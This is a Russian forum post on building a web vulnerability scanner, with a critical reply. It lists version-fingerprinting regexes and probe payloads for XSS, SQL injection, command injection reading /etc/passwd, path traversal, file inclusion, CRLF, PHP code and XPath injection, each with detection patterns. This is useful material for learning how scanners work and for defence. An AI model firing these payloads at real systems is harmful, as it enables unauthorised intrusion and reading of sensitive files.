Сколько мне приходилось сталкиваться со сканерами, мне все время было интересно принцип их работы. Одно время я начал писать свой сканер безопасности на PHP, но из-за не хватки времени пришлось все заморозить. В это статье я хочу рассказать то, что я напрограммировал, только я буду приводит основные моменты, так как если приводить все досконально то это будет не правильно (как мне сказали «если все объяснять по пальцам, не чего хорошего не будет!» ). Я считаю, что лучше искать уязвимости ручками! Я буду приводить только регулярные выражения и запросы, а как это делается, можно прочитать в любой книжке по программированию! Определение Веб Сервера Здесь я долго ломал голову, но как оказывается все гениальное все просто. В ответе сервера в html-заголовке все содержится, с помощь регулярных выражений можно определить следующие - Apache 1.3.27: ищем .*(Apache(-AdvancedExtranetServer)?/(1\.([0-2]\.[0-9].\s|3\.([0-9]\s|[0-1][0-9]\s|2[0-6]\s)))) - Apache 2.x 2.0.43: ищем .*(Apache(-AdvancedExtranetServer)?/2\.0\.([0-9]\s|[0-3][0-9]\s|4[0-2]\s)) Я не стал приводить полный список регулярных выражений, по двум причинам 1) просто будет бесмыслено занимать место 2) просто нечего сложного нет в регулярных выражения, кому понадобится тот сам сможет написать, но на крайний случай, если надо будет выложу! Определение версии PHP и mod_ssl - PHP 4.3.0: ищем .*(PHP/4\.3\.0\s) - PHP 5: ищем .*(PHP/5\.5\.0\s) - Mod_SSL SSL_Util_UUEncode_Binary: ищем .*(mod_ssl/(1.*\s|2\.([0-7]\..*|8\.([0-9]\s|1[0-7]\s)))).* - Mod_SSL Log Function: ищем .*(mod_ssl/(1.*\s|2\.([0-7]\..*|8\.([0-9]\s|1[0-8]\s)))).* Ну вот все вроде про Веб сервер сказано! CGI-TEST Приведу только часть, так как их приличное количество! - Директория справки Apache: GET /manual/ - Выполнение команд Apache Win32: GET /cgi-bin/test-cgi.bat?|dir - Информация о сервере Apache: GET /server-info - Распределение расширения Frontpage: POST method=open+service%3a3%2e0%2e2%2e1105&service%5fname=%2f в ответе должно быть “FrontPage Server Extensions” Вроде тут понятно как отправляются запросы и как проверить! Вот теперь самое интересное: 1) XSS На атаче можно найти много информации то XSS, из-за этого я приведу только запросы: <script>alert('xss -${random}')%3B</script> '><script>alert('xss-${random}')%3B</script> "><script>alert('xss-${random}')%3B</script> ><script>alert('xss-${random}')%3B</script> </textarea><script>alert('xss-${random}')%3B</script> <script>var%20xss=${random}%3Balert(xss_test)%3B</script> ><script>var%20xss_test =${random}%3Balert(xss_test)%3B</script> </textarea><script>var%20xss_test =${random}%3Balert(xss_test)%3B</script> --><script>alert('xss-${random}')%3B</script> [email protected]<script>alert('xss-${random}')%3B</script> [script]alert('xss-${random}')%3B[/script] %3Cimg%20src%3D%22javascript:alert%28%27xss-${random}%27%29%3B%22%3E Вроде полный список! И так, если все удачно вы может найти в тексте tag=script;textwithin=alert('xss-${random}')\; tag=script;textwithin=var xss_test=${random}\;alert(xss_test)\; tag=img;src=javascript:alert('xss-${random}')\; 2) SQL injection То тем же причинам, что и в первом случай: ' %27 %2527 " %00' '" С помощью следую регулярных выражений можно найти SQL injection: (?i)(Line\s\d+:\sIncorrect\ssyntax\snear\s'[^']*') (?i)(pg_query\(\)[:]*\squery\sfailed:\serror:\s) (?i)(Microsoft\sJScript\sruntime.*error\s'[^']*') (?i)('[^']*'\sis\snull\sor\snot\san\sobject) (?i)(ORA-\d{4,5}:\s) (?i)(Microsoft\sJET\sDatabase\sEngine\s\([^\)]*\)<br>Syntax\serror (.*)\sin\squery\sexpression\s'.*\.<br><b>.*,\sline\s\d+</b><br>) (?i)(<h2>\s<i>Syntax\serror\s(\([^\)]*\))?(in\sstring)?\sin\squery\ sexpression\s'[^\.]*\.</i>\s</h2></span>) (?i)(<font\sface=\"Arial\"\ssize=2>Syntax\serror\s(.*)?in\squery\sexpression\s'(.*)\.</font>) Можно искать полный текст: Microsoft OLE DB Provider for ODBC Drivers Microsoft OLE DB Provider for SQL Server You have an error in your SQL syntax Invalid SQL: ): encountered SQLException [ 3) Code execution Возможность выполнить произвольный код с привилегией сервера POST или GET запросы +%26cat%20+/etc/passwd%26 +%0acat%20+/etc/passwd%0a %26dir%26 %7Cdir %3Bdir %26dir Находим результаты: (.*root:.*:0:[01]:.*) или найти полную строку Volume in drive Volume Serial Number is Directory of 4) Обход директорий POST или GET запросы ../../../../../../../../etc/passwd ../../../../../../../../etc/passwd%00 %00../../../../../../../../etc/passwd ../../../../../../../../boot.ini ../../../../../../../../boot.ini%00 %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae% c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini Найти можно вот так (.*root:.*:0:[01]:.*) 5) File inclusion Можно разделить на два вида это локальный и иклуид с другого сервера -локальный /какой_нибудь_фаил_длиным_именем -внешний http://xxx.com/ какой_нибудь_фаил_длиным_именем Тут можно проверить только на ошибку иклуида: (?i)(<b>Fatal error</b>:.*: Failed opening required '.*some_inexistent_file_with_long_name.*').* (?i)(<b>Warning</b>:.*: Failed opening '.*some_inexistent_file_with_long_name.*') for inclusion.* 6) Раскрытие исходного кода сценария Возможно читать исходный текст этого сценария, используя имя файла сценария как параметр. Найти можно используя: (<%) (<\?php) (^#\!\/.*\/perl) 7) CRLF injection Инъекция в заголовках через cookie Запрос some_url%0d%0aSet-Cookie%3Athis_header%3Dinjected_by Ищется при помощи (?i)\n(set-cookie\s*:\s*this_header\s*=\s*injected_by) 8) Cross Frame Scripting Замена содержания фрейма Запрос http://www.xxx.com/ Найти можно tag=iframe;src=http://www.xxx.com/ 9) PHP code injection Выполнение произвольного PHP кода Парметр: printf(md5(test))%3Bexit%3B// Находим: 63c19a6da79816b21429e5bb262daed8 10) XPath injection Получение XML документ, используя XPath запрос, в котором может содержаться информация из базы даных Параметр: ' Ищем: (?i)(<b>\sException\sDetails:\s</b>System\.Xml\.XPath\.XPathException: \s'.*'\shas\san\sinvalid\stoken\.<br><br>) (?i)(<b>\sException\sDetails:\s</b>System\.Xml\.XPath\.XPathException: \sThis\sis\san\sunclosed\sstring\.<br><br>) Про детальное описание каждой уязвимости можно найти в Интернете! Вот и все вроде, я не стали писать про как можно найти Backup файлы и определенный файлы (известные файлы и папки например “admin” и т.д). Если будет желание продолжить эту тему обязательно дополню!
Действительно не совсем понятно в чём смысл этой статьи. Ну разве что подробнее принцип работы сканера узнать.
Для нормального сканера безопасности веб, во-первых, нужно сделать функцию "паука" которая будет возвращать следующий адрес, а точнее следующий хттп запрос со всеми необходимыми параметрами. Это нужно дл того чтобы проводить проверку не только гет запросов, но так же пост. Причем тут должна быть проведена корректная обработка хтмл кода чтобы выдирать переменные из тегов типа <form></form>, а также из js сценариев. Далее, этот "паучок" не должен входить в бесконечный цикл, для этого нужно правильно добавлять новые и обновлять старые параметры запроса к тому же скрипту. То есть, если у нас есть к примеру гет запрос к /includes/script.php?id=4 и на той же страничке(или другой неважно) есть ссылка <a href=/includes/script.php?id=7> то не нужно для этого ждела заводить новый адрес для паука. просто нужно добавить мол id передается число (если хоть в одной страничке встертится ссылка типа /includes/script.php?id=pageee, то нужно сказать что там находится строка) и обрабатывать на уязвимости соответственно. Так же нужно уметь правильно обрабатывать относительные пути. Далее, проверка на хсс неправильная, хотя бы потому что требует много запросов (это очень тормозить работу будет) тут достаточно проверить за один запрос выход за пределы ',",<,> и все, а в конце напистаь что сцществует выход за пределы. Не нужно писать чо-то через чур умное. Так будет хуже. в принципе аналогичная ситуация и с скл-инекциями - не логичная проверка. А при пхп инклуде вообще - не стоит надеятся на вывод сообщений об ошибке.